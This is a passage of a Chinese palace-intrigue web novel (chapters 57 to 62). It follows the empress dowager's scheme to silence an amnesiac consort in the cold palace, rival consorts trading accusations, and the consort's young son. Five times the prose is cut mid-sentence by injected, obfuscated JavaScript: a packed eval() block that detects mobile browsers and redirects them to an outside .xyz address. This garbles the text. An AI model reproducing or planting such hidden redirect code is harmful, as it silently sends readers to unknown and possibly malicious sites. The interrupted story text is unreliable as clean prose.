翡翠耳坠冒着些微的幽光,太后接过来的瞬间,王嬷嬷也凑过来打量,两个人看得格外仔细,恨不得将那耳坠订出花来,过了足足有一刻钟的时间,王嬷嬷才试探着道:“太后娘娘这耳坠好像不是您那幅,只是有些像而已,难道是巧合?” “巧合什么?你瞧他贺江灈今日的态度,对哀家半点恭敬也无,王嬷嬷,就算这耳坠不是哀家的那幅,他肯定也知道什么,不行,冷宫那个哀家还是不放心。 那日她看到了哀家的秘密,放任她不管哀家这心里总是有根刺,你说有没有什么办法能让那**神不知鬼不觉的…” 话到这里,太后满脸阴森的做了个抹脖子的动作。 “太后娘娘,眼下不是说这些的时候,如今陛下已经盯上王爷了,冷宫那个暂时断不能动。”王嬷嬷劝道。 “不能动?难道就让这根刺一直扎在哀家心里吗?她现在倒是失忆了,可万一哪天恢复了记忆,把我们的事抖落出去怎么办? 那贺江灈如今没有证据,都已经怀疑哀家了,若是真让他听到什么风声,哀家和流儿可还有活路?”太后恼道。 王嬷嬷脸上担忧之事一点也不比太后少,可是这会儿她却也拿不准主意。 太后之前那句话说的对,之前陛下从来都没有提过让宴平王回京,只有这次太后把主意打到了冷宫那个头上,陛下这会儿立刻就跑来提了这事,这警告太后的目的再明显不过了。 在这样的情况下,若是还对冷宫那个动手脚,这不是把王爷往死路上逼吗? 可是放任着不管,冷宫那个也确实是个威胁。 两个人相继沉默着,太后先是回过神来,抬脚就踹向了安妃:“都是你这个成事不足,败事有余的废物东西,当初若不是你阻拦,哀家早就斩草除根了,哪用得着现在这般担忧?” 安妃也不躲,硬生生的挨了这一脚,她说:“姑母说的是,都怪侄女之前糊涂误了姑母的事,侄女愿意将功赎罪,亲自去冷宫盯着晋娘娘,如此一来,若她真的有恢复记忆的迹象,侄女也可第一时间告知姑母,姑母意向如何?” “你?你会有那么识趣?”太后明显不信。 安妃低头,压住了眼睛里翻滚不断的情绪,她说:“方才是侄女没有想明白,就算侄女心里再怨恨姑母将侄女弄到宫里来,也不能不顾郑郎性命,还请姑母相信侄女这一次,也请姑母一定要善待郑郎。 侄女以后一定会好好为姑母办事的,只求姑母莫要为难郑郎。” “这事好说,禾儿,你可是哀家的嫡亲侄女,你若早些有这觉悟,哀家也不会对你发脾气,只是… 那冷宫贺江灈看似不管,实际上却又不许旁人染指,你想要进冷宫怕是有些难度,此事你打算如何?”太后说。 安妃道:“冷宫确实不好进,只是冷宫另一边不是还有个泠竹苑吗?想必以姑母的能力,将侄女儿安排过去不难吧? 陛下并没有禁止旁人去冷宫探望晋娘娘,那姜妃自从搬到幽兰馆之后,就日日长在冷宫,陛下不也没说什么吗? 只要姑母能让侄女儿进泠竹苑,侄女必定日日盯着那晋娘娘,姑母觉得呢?” 太后眉头紧锁,似是在沉思,片刻之后她点了点头:“这听起来倒也是个好主意,你回去等消息吧。” 安妃点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482403|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点头,乖顺的弯腰退了出去,待出了福寿宫的门后,她嘴角渐渐的勾起了几分笑意。 而福寿宫里,太后的脸色并没有好转,反而还是挥袖又扫落了几个茶盏:“好她个安秋禾,哀家真是给她脸了,竟然胆敢算计到哀家头上来了。 说什么帮哀家盯着姓晋的,说什么为哀家做事,哀家还能不懂她的心思?不就是为了避宠吗? 她倒是个情种,这都入宫多少年了,竟还记得那姓郑的!” “太后娘娘竟然知道这些,为什么还答应安妃娘娘?”王嬷嬷问。 太后冷哼一声:“不答应她哀家还有别的办法吗?那冷宫如今定是被贺江灈盯得死紧,哀家也不好往里面插眼线,这件事也只能交给她去办了。” 王嬷嬷沉默不语,显然也是没想到比安妃更好的人选。 太后缓了一口气又道:“皇帝那里也让人盯着,只要他去冷宫,一定得告诉哀家,让他们两个接触,哀家心里总是不踏实。” 王嬷嬷应了一声,忙出去吩咐。 而此时被各方势力都惦记着的冷宫里,晋明鸢却没有一丁点儿处于风暴中心的觉悟。 这一个月以来,姜妃说是住在了冷宫里都不为过,明明自己那里有人送吃送喝,可她偏偏一日三餐都跑来冷宫蹭饭。 吃完了饭就顺道教贺云瑄一些拳脚功夫,那自然到简直与晋明鸢母子像极了一家三口。 总之宫里的人都知道去幽兰馆未必能找到姜妃,但在冷宫一定能找到。 冷宫的小院儿除了长过一茬又一茬的韭菜以外,还被姜妃和贺云瑄一起种上了萝卜白菜,明明是清冷的院子,随着姜妃的到来,渐渐的多了几分生活气。 当然不得不提的是,姜妃和晋明鸢一样,同样不会做饭,这院里做饭的重任就压在了贺云瑄自己身上,本来晋明鸢是不同意的,但见贺云瑄自己乐在其中,也渐渐的没有了意见。 于是每到饭点儿,就是姜妃劈柴,晋明鸢烧火,贺云瑄煮饭,一家三口分工明确,今日午饭本也一如既往,只是谁也没想到却来了个不速之客。 第58章 无能为力 贵妃拎着一大堆食盒来到冷宫的时候,晋明鸢和姜妃正端着她们包了一上午的饺子打算去小厨房煮。 乍一看到时隔一个月没见的贵妃,晋明鸢还有些怔愣,但贵妃已经小跑着扑了上来,手直接就要拉晋明鸢的胳膊:“姐姐,你怎么能做这些粗活呢? 这宫里的下人呢?都去哪里了?怎么能让娘娘自己做这些?” 晋明鸢皱着眉,脚步不自觉的后退一步,正好躲开了贵妃探过来的手,她把手里的那盘生饺子举得高了一些,很是不耐的道:“你怎么来了?” “阿吟自然是来看姐姐的呀,姐姐怎么这么和阿吟说话?是不是因为这么久阿吟不来,让姐姐误会了? 虽然阿吟这段时间一直都在玉粹宫养伤,但阿吟心里一直都是记挂着姐姐的,这不这伤才刚好,阿吟马上就来见姐姐了,姐姐莫要生气了好不好?”贵妃道。 她就像是看不到晋明鸢有意的躲闪一样,又要伸手挽晋明鸢的胳膊。 这才刚打了个照面,她一双眼睛就红了,眼泪随时都好像可以落下来。 晋明鸢看着她这副泫然欲泣的模样,眼睛里的不耐愈发的明显,她翻了个白眼:“哦,所以呢?” “所以?什么所以?姐姐,你这是在躲着阿吟吗?”她一副无比受伤的模样,身子柔弱无依的就要朝着晋明鸢身上倒。 姜妃放下手里的东西,从厨房出来正好看到这一幕,她道:“不然呢?晋姐姐表现的还不明显吗?贵妃难道看不出来?” “姜妃,你怎么会在这里?”乍然听到有些突兀的声音,贵妃声音也尖锐了几分,目光不可置信地朝着姜妃望过去。 “我就住晋姐姐隔壁,在这里有什么奇怪吗?倒是贵妃娘娘您,住着这宫里最奢华的玉粹宫,却频频跑来冷宫,这才奇怪呢,好吧? 怎么难道贵妃娘娘是想说不习惯住大宫殿,想来体验体验冷宫的生活?” 姜妃嗤笑一声,走到晋明鸢身边,顺手就将她手里的盘子接了过来,动作再自然无比,就好像经常做这种事一样。 贵妃的目光死死的盯着姜妃的手,她表情有细微的扭曲,但很快就恢复了正常,转而又看向了晋明鸢的方向:“晋姐姐,你看看姜妃,阿吟明明没有招惹她,她怎么能对阿吟敌意如此之重?她这是对阿吟有意见吗?” “你才看出来呀?”手里空了,晋明鸢双手环胸,冷眼看着贵妃,“你若是没什么事的话,就赶紧走吧,别耽误我们吃饭。” “姐姐这是在赶我走,因为姜妃?”贵妃满脸的不可置信。 “不然呢?你是不是脑袋有什么问题?这么简单的一句话,非得让人说很多遍吗?”晋明鸢反问。 她脸上还带着无奈,就好像很不理解贵妃的话一样。 贵妃眼睛更红了:“姐姐,阿吟明明是好心来看你的,你怎么能这么对待阿吟,可是阿吟哪里做错了,让你不开心了?” “得了,你可别提这么好心?靠我这么近做什么?莫不是你袖子里藏了蛇又想害我?”晋明鸢脚步又后退了些许,离贵妃愈发的远了。 瞧这女子摇摇欲坠的模样,她心里忍不住犯嘀咕,这女人怕不是有什么毛病,前两日才刚害了她,这才过去了一个月,她还记得清清楚楚呢,她这是想当事情没有发生过,怎么可能? “姐姐你在说什么?我怎么会那么做呢?我…” “你没有做过吗?贵妃,我对一个要害我的人可没什么耐心,若不是云瑄让我对你客气点,信不信我现在就打你啊?”晋明鸢根本没有给贵妃把话说完的机会,就直接打断了她。 看着贵妃那张错愕的脸,她心里愈发的不耐,这回直接揪住了贵妃的衣服,就要拉着人往外推。 怎奈这贵妃看似柔弱,力气却实在不小,晋明鸢一时竟然没能拉动她。 贵妃很敏锐的就抓住了晋明鸢话里的重点,她视线越过晋明鸢,朝着小厨房望去,很轻易的就看到了贺云瑄踮脚踩在小凳子上做饭的身影,她提高了声音道:“云瑄,清姨姨来看你了,清姨姨给你带了吃…”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482404|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 话都没说完,声音戛然而止,是晋明鸢忍无可忍的捂住了她的嘴:“我警告你,云瑄是我儿子,你别想吸引我儿子的注意力,说吧,你到底是来做什么的?” 把贵妃拽到了一边,晋明鸢才松开了她。 贵妃咳嗽两声,原本有些苍白的脸色,这会儿却泛了红,眼睛里的泪珠更明显了,一派楚楚可怜:“姐姐,我真就是来看望你的呀,也是来给你送吃食的,姐姐怎么就不信呢?” “下毒了?”晋明鸢问。 “怎么会姐姐?我怎么会做那种事呢?姐姐就别逗我了,我只是…” “贵妃,我们到底是什么关系?”晋明鸢忽然问。 贵妃呼吸一滞,似是有些不习惯晋明鸢突如其来的正色,但很快她就笑着道:“虽然我与姐姐没有血缘关系,但是我一直都把姐姐当成亲姐姐的姐姐,这一点所有人都知道。 我知道姐姐失忆了,可能不记得这些了,但是看到姐姐不信任阿吟,阿吟的心真的好痛,阿吟…” “贵妃既然这么心痛,不如直接搬过来给我作伴呀。”晋明鸢忽然一改方才的严肃,嘴角都荡开了笑意,却让贵妃的脸色直接僵硬了。 贵妃背后的满春更是忍无可忍道:“你胡说八道什么?贵妃娘娘是什么身份?怎么能与你一个弃妃住在冷宫?” “这么说来贵妃是不愿了?那贵妃口中与我情同姐妹应该也是假话吧,毕竟姜妃可从没说过与我情同姐妹,却愿意日日在这里陪我。 贵妃口口声声说的那份情谊,原来一直都是嘴上说说而已吗?”晋明鸢道。 “哎呀,原来只是嘴上说说,看来贵妃对晋姐姐也不怎么样嘛。”姜妃也笑盈盈地接了话,不动声色的冲着晋明鸢的方向竖了个大拇指。 她早就看贵妃不爽了,动不动就哭啼啼的,半晌都不说正题,一肚子弯弯绕绕,简直让人不知她想干什么。 “我…姐姐,我也想来陪姐姐的,只是住在什么地方不是我陛下安排吗,我…我也无能为力。” 第59章 姜妃,我们聊聊 看着晋明鸢明显不信任的目光,贵妃的眼睛红的更厉害了一些,她问:“姐姐难道非要咄咄逼人吗?明明之前我们关系那么好,姐姐为什么现在对阿吟的意见那么大?是因为姜妃?” “怎么?难道你有意见?贵妃,维持一段关系,从来都不是用嘴说说而已,你总说对晋姐姐好,这些年你真的做了什么,大家其实看的都清清楚楚。 你若真觉得我冤枉误会了你,这冷宫旁边不还有个泠竹苑吗?你不如也搬来陪陪晋姐姐,也好表现表现你自己的诚意?”姜妃道。 “这…”听到前半句话的时候,贵妃本来还想反驳的,可后面再听泠竹苑三个字,她瞳孔又有些闪烁,满春更是道:“我们娘娘千金之体,怎么能住泠竹苑?更何况陛下那么在意娘娘,自然也不舍得娘娘搬到这么偏僻的地方来。” 满春话说着,目光更是挑衅的朝着晋明鸢的方向扫了一眼,就好像故意在炫耀陛下如今对贵妃多么的在意。 只是这话听到晋明鸢的耳中,并没有掀起多少的波澜,反倒是姜妃脸色一片铁青,她抬手挽了挽袖子:“狐狸尾巴藏不住了,所以口口声声说对姐姐好,实际上还是来炫耀的?赵清吟,我看你是忘了你当年是怎么跟狗一样…” “姜妃!我与晋姐姐的关系不是你三言两语就能挑拨的,而且我从来没有什么炫耀之意,那些话都是满春所言,并非我的意思,我会教训她的,也请你不要在这里混淆黑白。 至于泠竹苑,如果姐姐想要我来陪你的话,我现在就去与陛下说。” 姜妃的话说了一半,就被贵妃急切的打断,贵妃的目光又朝着晋明鸢的方向看了过来,她一双眼里尽是委屈。 “贵妃娘娘不可!玉粹宫可是陛下专门赐给您的,您怎么能放弃玉粹宫搬进泠竹苑,这样让陛下怎么想?”满春又是急切的阻止。 贵妃冷眼扫了过来:“不要再说了,姐姐是我最重要的人,没有什么比姐姐开心最重要,如果姐姐想的话,我愿意搬来,我现在就去请陛下做主,还请姐姐稍等…” “贵妃娘娘是想要旁边的泠竹苑吗?那您不用再白跑一趟了,陛下方才已经应了将泠竹苑赐给我们娘娘,如今已经准备搬东西了。” 贵妃柔弱的话尚且没有说完,安妃身边的春樱就提着一袋东西走了过来。 “你说什么?”贵妃,姜妃,以及晋明鸢在听到春樱的话后,几乎是同时开口发问,态度前所未有的默契。 春樱笑道:“是这样的各位娘娘,我们安妃近来身子不好,太后娘娘说泠竹苑清静,特地去向陛下求了恩典,让安妃娘娘搬过来养病,如今圣旨已经下了,下午娘娘就搬来了。 对了,这些是娘娘给晋娘娘准备的见面礼,以后就是邻居了,还请晋娘娘多多担待我们娘娘。” 她上前两步,直接将手里的东西递了上来,晋明鸢略微低头看了一眼,竟然是几匹布料。 她伸手就将东西接了过来:“好说好说,安妃就是细心,如果有用的到我的地方,我肯定不会推迟的,对了,我这儿有我们亲手种的菜,如果安妃不嫌弃的话,可以随时过来摘。” “姐姐!不就是几匹破布吗?我那里也有姐姐想要,我可以给姐姐的,那菜可是我们一起辛苦种的,哪能便宜安…” “谢谢晋娘娘,晋娘娘这句话奴婢替安妃娘娘记下了,奴婢这就回去转告安妃。” 春樱笑意盈盈地打断了姜妃的话,在姜妃发怒之前,她脚底抹油快速的溜出了冷宫。 看到这一幕,姜妃愈发的愤愤不平:“搞什么?这冷宫是什么好地方吗?一个个挤破了脑袋过来做什么?晋姐姐,那安妃定是不怀好意,你可不能被她骗了。 还有贵妃,她…” “姜妃,我们聊聊吧。”贵妃难得的没有将目光落在晋明鸢身上,而是转头看向了姜妃,眼睛里还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482405|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着些许的凝重。 姜妃的声音戛然而止,她撇了撇嘴:“我跟你有什么能聊的?” “我知道你打小就对我有意见,我也不求你改变看法,只是关于姐姐的事,姜妃难道不想知道吗?”贵妃说。 姜妃神色犹豫,贵妃又道:“姜妃,我知道你姜家承过晋老将军恩情,你入宫也是想要保护姐姐,你确定不想听听我的消息吗?” “呵,听就听,我倒要看看你能说出什么话来,我们去那边说。”姜妃终于妥协,她上前一步,拽了贵妃的袖子,不由分说的就拉着人朝着冷宫门口走去。 “和我有关?为什么不能当着我的面说?”晋明鸢皱眉挡住贵妃询问。 “还不是因为这人口若悬河,嘴里没什么真话,姐姐听她说话也是浪费时间,先让我去看看她到底想说什么,到时等我回来肯定会转告姐姐的,姐姐难道还不相信阿稚?”姜妃说。 “姜妃,你有必要这样吗?”贵妃问。 姜妃翻了个白眼:“有没有必要你自己心里最清楚,当年带姐姐走的就是你赵家兄妹,姐姐回京后就进了冷宫,反倒是你直接做了这一人之下的贵妃,赵清吟,这件事里你动了多少手脚,当真以为别人全然不知吗?” “姜妃,当**关乎陛下颜面,陛下不让提,我也不与你争论,眼下我要说的是另一件事,你若真的在意姐姐,就把你翻旧账的心思收一收。”贵妃说。 她神色镇定,再看向姜妃的时候,就好像是在看一个不懂事,不识趣的孩童,可是那只藏在袖子里的手却攥得愈发的紧,指骨处都泛了明显的白。 姜青雉… 她果然在查当**,她现在查到多少了? 不行,不管如何都不能再让这个女人留在姐姐身边了。 贵妃又道:“姜妃,我知道你不信我,但你自己也有分辨话里真假的意思,不是吗?我们去那边聊聊?” 第60章 与人通奸是什么罪 姜妃和贵妃的话,听在晋明鸢耳朵里就好像是在打哑谜一般。 她努力的去分辨着这两人话里的信息,可是这过分多的信息量却又好像压的她的脑子几乎混沌。 她之前是跟着贵妃去了什么地方,回来之后就进了冷宫。 那旁人都说她入冷宫的原因是怀了云瑄,难道她就是在那段时间怀上的云瑄? 这样看来的话,好像是解释的通了,陛下身在皇宫,不可能离京,她外出回来怀有身孕,这孩子的来历自然就说不明白。 还有贵妃口中那句关乎陛下颜面,这一切都好像在无声的证实,贺云瑄确实不是陛下的孩子。 那… 晋明鸢眼珠转了转,她一下子就想到了那个和贺云瑄生的很像的男人,那男人提到贵妃的时候,就很是不自在,难道是那狗东西当年与贵妃一起害了她? 想来是这样没错了,那狗东西也不在乎云瑄,说不定他心里装着的一直就是贵妃,云瑄的出生对他来说根本就是不值得期待的。 越是这么深想下去,晋明鸢越觉得有道理,她抬手一拳捶在旁边的树上,再看向贵妃的时候,眼睛里几乎要喷了火。 这件事她一定要查清楚,如果自己进冷宫的事是被别人设计,她绝不能就这么算了。 就算生下云瑄已经是事实,就算不指望自己能从这冷宫出去,她也绝不能让那个害她的人逍遥在外。 那男人既然这么帮衬着贵妃,说不准与人有染的分明就是那贵妃,她一定得找到证据。 晋明鸢失神的时候,姜妃已经跟着贵妃到了冷宫门口僻静无人的角落,姜妃不耐烦的问:“你想说什么就直接说吧。” 贵妃说:“姜妃,想来你也猜到了,姐姐失忆一事绝不是巧合,你们姜家暗卫最是厉害,你肯定也查到了什么,对吧?” “你到底想说什么?”姜妃眼里的不耐愈发的明显,“我来不是听你卖关子的,有话就赶紧说,我还等着回去与姐姐吃饭呢。” 贵妃脸色很是难看,她强压着火气道:“我今日去见陛下,撞上太后宫里的王嬷嬷了,太后想让姐姐搬到福寿宫去,陛下没有同意,现在安妃就住进了泠竹苑,你当真觉得这件事是巧合吗?” 贵妃一句话,就压住了姜妃脸上的暴怒,她眉头紧锁,目光不动声色的朝着泠竹苑的方向瞟了一眼,并没有作声。 贵妃又说:“我知道你盯着我,那我之前发生的事你应该也知道了,我根本就没有可能给姐姐实名下药,那碗汤药虽然是我送给太后的,但里面多了的**是哪里来的,你不如仔细想想? 还有姐姐坠井的日子,你不觉得也很奇怪吗?陛下出宫秋丽。带走了一半禁卫,宫中罕见防卫稀疏,姐姐一个从不出门的人,却在这个时候出事…” 贵妃没有说下去,她点到即止,静静的等着姜妃回话。 姜妃喃喃道:“你是说姐姐看到了太后什么秘密,所以太后想要**灭口?” 贵妃轻轻点了点头:“我没必要拿这么重要的事开玩笑,不管你信不信,我从来都没有想过让姐姐出事,这些我本来也不想告诉你的,可眼见着安妃已经搬进了泠竹苑,我只能先选择相信你。 姜妃,咱们的恩怨暂且放到一边,你现在最应该盯着的不是我。” 姜妃抿着唇,眼睛里的情绪翻涌不断。 贵妃又说:“我知道你或许不信我,但你只要让人去打听打听今天王嬷嬷是不是去了紫宸殿,陛下是不是去了福寿宫,再想想这安妃忽然搬来的时间,这一切就明了了。” “我知道了,这事儿我会考虑的,但贵妃就算你告诉我这些,也别想抹掉你自己做过的事,你最好好好祈祷,你自己藏的够干净,别让我查到什么。”姜妃冷哼一声,她甩下一句狠话,就扭头回了冷宫。 贵妃站在原地冷眼看着姜妃的背影,嘴角却是勾起了一个弧度。 查? 呵,她怕是没有机会查了。 她现在是动不了姜妃,又不代表别人没有办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482406|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 姜妃既然敢威胁她,那就不要怪她借刀**了。 “贵妃娘娘,您怎么知道晋娘娘失忆一事是与太后有关?听说这件事陛下也在查,好像没有查到什么头绪。”目光扫过贵妃那张胜券在握的脸,满春忍不住好奇。 贵妃道:“我不知道呀,可那又如何?只要她相信就够了。” 只要姜妃信了她的话,必然会让姜家的暗卫去查。 届时一旦惊动了太后,那姜妃就别想全身而退。 陛下会为了晋明鸢得罪太后,可不会为了姜妃也如此行事。 姐姐现在只是被那姜妃骗了。 只要除掉姜妃,她就一定能哄的姐姐回心转意,与她重归于好的。 “娘娘厉害。”满春还是有些不懂贵妃到底要做什么,但这并不妨碍她恭维。 贵妃摆了摆手:“时候不早了,既然姐姐不要我们的饭菜,我们也该回去用午膳了。” 贵妃和姜妃刚出门不久,晋明鸢和贺云瑄就将煮好的水饺端上了桌,姜妃一回来,就看到热气腾腾的饺子,却没有看到晋明鸢的身影。 她顺手揉了揉贺云瑄的脑袋:“我们小瑄瑄真厉害,真能干,对了,你娘亲呢?” “娘亲好像心情不好,她说她先不吃了,刚才还叫了柳枝去了她房里,姜姨姨你先吃饭吧,我等会儿给娘亲端到屋里去。”贺云瑄说。 他一张小脸上也尽是担忧之色,眉头紧锁,明显就是一副小大人的模样。 “刚才还好好的,怎么就心情不好了?可是那柳枝又惹姐姐生气了?”姜妃纳闷道。 “这倒没有,自从姜姨姨搬来后,柳枝和芙蕖都很听话,娘亲好像是有话要问柳枝。”贺云瑄说。 姜妃更纳闷了:“有什么事非得问她,不能问我,走,小瑄瑄我们去听听。” 她不由分说的拉了贺云瑄就朝着晋明鸢的房间而去,才到门前,便听里面晋明鸢的声音:“如果能证明宫妃和人通奸,会有什么处罚?” 第61章 晋娘娘要见陛下 猝不及防的听到这样一句话。 姜妃第一反应就是去捂贺云瑄的耳朵,但贺云瑄却是一本正经的抬头:“姜姨姨,我不是小孩子了,我什么都懂。” 姜妃看着个头。才刚超过自己的腰没有多少的贺云瑄,没好气的打趣一句:“小小年纪,装什么大人?” 略微顿了顿,她又话锋一转道:“你娘为什么这么问?” 贺云瑄茫然的摇头,同样是不明所以的模样,只是又将脑袋朝着那扇紧闭的木门贴了贴。 他一双小手攥成拳头,手背紧贴着门框上,眼睛里的情绪晦暗不明。 娘亲忽然打听这个,难道她是动了和那个男人重修旧好的心思? 绝对不行! 且不说之前如何,就单论现在那人冒了个头之后就杳无声息,这么一个没有责任心的人,根本不值得娘亲为她以身犯险。 屋里的动静一片静谧,大约是柳枝回答了晋明鸢,只是声音过小,并不足以穿透紧闭的门扉传到贺云瑄和姜妃耳中。 姜妃不由的抓心挠肝的好奇,只恨不能将身子化作一阵风钻进去,仔细听听她们又谈了些什么,就在这时,贺云瑄已经终于按捺不住拉了拉姜妃的袖子:“姜姨姨,我想请你帮我一个忙好不好?” “帮忙?”姜妃有些疑惑的重复一遍,但注意力一点也没有从那扇紧闭的门上移开,“云瑄,你的事以后再说,姜姨姨现在有更重要的事。” 她得弄清楚,姐姐为什么要避着人问这种事。 “姜姨姨,我知道你在担心什么,我要说的就是这个事。”贺云瑄板着一张小脸,又一次伸手攥了攥姜妃的袖子,“我想我应该知道我娘亲想做什么了,我们去那边说。” “你知道了?”姜妃这次彻底被贺云瑄的话吸引了注意力,声音也提高了些许,但很快她就反应过来自己捂住了嘴。 没有再犹豫,直接就跟着贺云瑄到了一边,她迫不及待的问:“姐姐到底想做什么?” 贺云瑄脸崩的紧紧的,有些不情不愿的指了指自己,然后才道:“娘亲这么反常,还背着我们,定是和那个坏人有关,虽然娘亲自己什么都不说,但是那日那个坏人从冷宫离开之后,娘亲愁了很久。 后来姜姨姨来了之后,娘亲的心情才好了些,现在她又…” 这段时日以来,姜妃一直表现的对晋明鸢的事了如指掌,甚至好像很清楚晋明鸢和那个男人的事,贺云瑄便也没有隐瞒她什么的意思。 “你说什么?你的意思是姐姐想要和他重归旧好?”姜妃瞳孔放大,她喃喃道,“不行!绝对不行!云瑄,那男人朝三暮四,偏听偏信,一点也配不上你娘亲,这事儿我们一定得阻止。” 贺云瑄很是郑重的点头:“姜姨姨说的对,娘亲这些年已经够苦了,不能因为那种人冒险,姜姨姨,我们应该怎么做?” 姜妃沉思片刻:“这件事还是急不得,等会儿我们先试试晋姐姐的口风在从长计议,云瑄,饭菜要凉了,去叫你娘亲吃饭。” 支开了贺云瑄,姜妃抬手,一拳重重地砸在了旁边的树干上,手指的关节处直接伸出了红艳艳的血,但她却好像感觉不到疼痛一般。 当**如何,她并不清楚。 但她却知道,事情发生之后,那个人根本连查证都没有,就将晋姐姐打入了冷宫,转而便扶了贵妃上位,后来时隔一年,更是广纳后宫,就好像完全忘记了晋姐姐一样。 若是他一直沉寂下去,与晋姐姐相安无事并也罢了,现在晋姐姐一失忆,他又马上迫不及待的凑了上来,甚至还换个身份骗人,连最基本的真诚都没有。 这样的人如何配得上晋姐姐? 当年他既然选择贵妃,就该一直和贵妃拴在一起才是,而不是跑来碍晋姐姐的眼。 也就是他最近没有出现在冷宫,否则她一定拆穿他的身份,让他再没办法在晋姐姐面前装模作样。 不对!他自己不来,可以让人去请呀。 姜妃忽然想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482407|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么,眼睛都亮了起来,她抬手招来了芙蕖:“去一趟紫宸殿,告诉陛下,说晋娘娘想见他。” 贺云瑄很快就叫了晋明鸢出来,三人在饭桌前坐定,每个人神色都有些古怪,显然个个心里都藏着事。 贺云瑄目光始终在晋明鸢身上打转儿,晋明鸢则是低着头不知在想什么,而姜妃则定定的望着冷宫门口的方向,好似在翘首以盼。 说是吃饭,大半晌过去,一盘又一盘的饺子凉下来,也没有见谁动筷。 还是贺云瑄先回过神来,他端着空碗挪到晋明鸢的身边,将盘里最上层几个凉透了的水饺夹到了自己碗中,才推搡了一下晋明鸢的胳膊:“娘亲,你为什么不吃饭?是云瑄做的饭不合娘亲的口味吗?” 稚嫩的嗓音里带着不安,一下子就拉回了晋明鸢的注意力,晋明鸢连忙否认:“怎么会呢?我们小瑄瑄最厉害了,饭做的最好吃了,娘亲可喜欢小瑄瑄做的饭了。 都怪我刚才想事情太入神,让我们小瑄瑄担心了,是娘亲不好,娘亲这就吃饭好不好?” 她忙不迭地拿起了筷子,在贺云瑄那双漆黑的眸子的注视下,快速的扒了两口。 贺云瑄这才收回了目光,又挪回到了自己的位置上,他状似不经意地问:“那娘亲方才想什么那么入神?是在想我那个杳无音讯的爹吗?” 杳无音讯四个字被他咬得重重的。 等待答案的片刻空档,手里的筷子不自觉间已经将盘里的饺子渣的七零八落。 晋明鸢无意识地点了一下头,就听得哐当一声巨响,是贺云瑄面前的盘子落在了地上,盘中的东西尽数散落。 “怎么了小瑄瑄?没事吧?可有伤到?”晋明鸢蓦地回神,连忙丢了筷子过来看贺云瑄的情况。 姜妃的注意力也被吸引了过来,同样关切的看着贺云瑄。 而贺云瑄直接扑进了晋明鸢怀里,他瓮声瓮气道:“娘亲,你别想他了,他不值得,娘亲多看看云瑄好不好?” 第62章 陛下就那么见不得人? 贺云瑄整个身子都埋在晋明鸢的怀里。 就连肩膀都在轻微颤抖着,能让人感觉到他此刻明显的不安。 晋明鸢的身体略微的有些僵硬。 除却自己刚醒来的那段时间,贺云瑄总是做出这等没有安全感的行为以来,她已经好久没有见过贺云瑄是这副样子了。 心脏都好像被什么东西撞了一下,闷闷的疼。 晋明鸢的手搭在了贺云瑄的肩头:“小瑄瑄,别怕别慌,你永远都是娘的宝贝,娘就只有你这么个宝贝心肝,娘肯定会一直看着守着我们小瑄瑄的。” “骗人。”贺云瑄声音更闷了,“根本就不是你说的那样,刚才你还在想别人,你还不吃饭,娘亲就是在意他比在意我多。” “这么会呢,你可是娘的宝贝心肝儿,娘当然在意你最多。”晋明鸢安抚着,她看不到贺云瑄的脸,也不知对方哭没哭,只听着他发闷的声音,心里就抽痛的厉害。 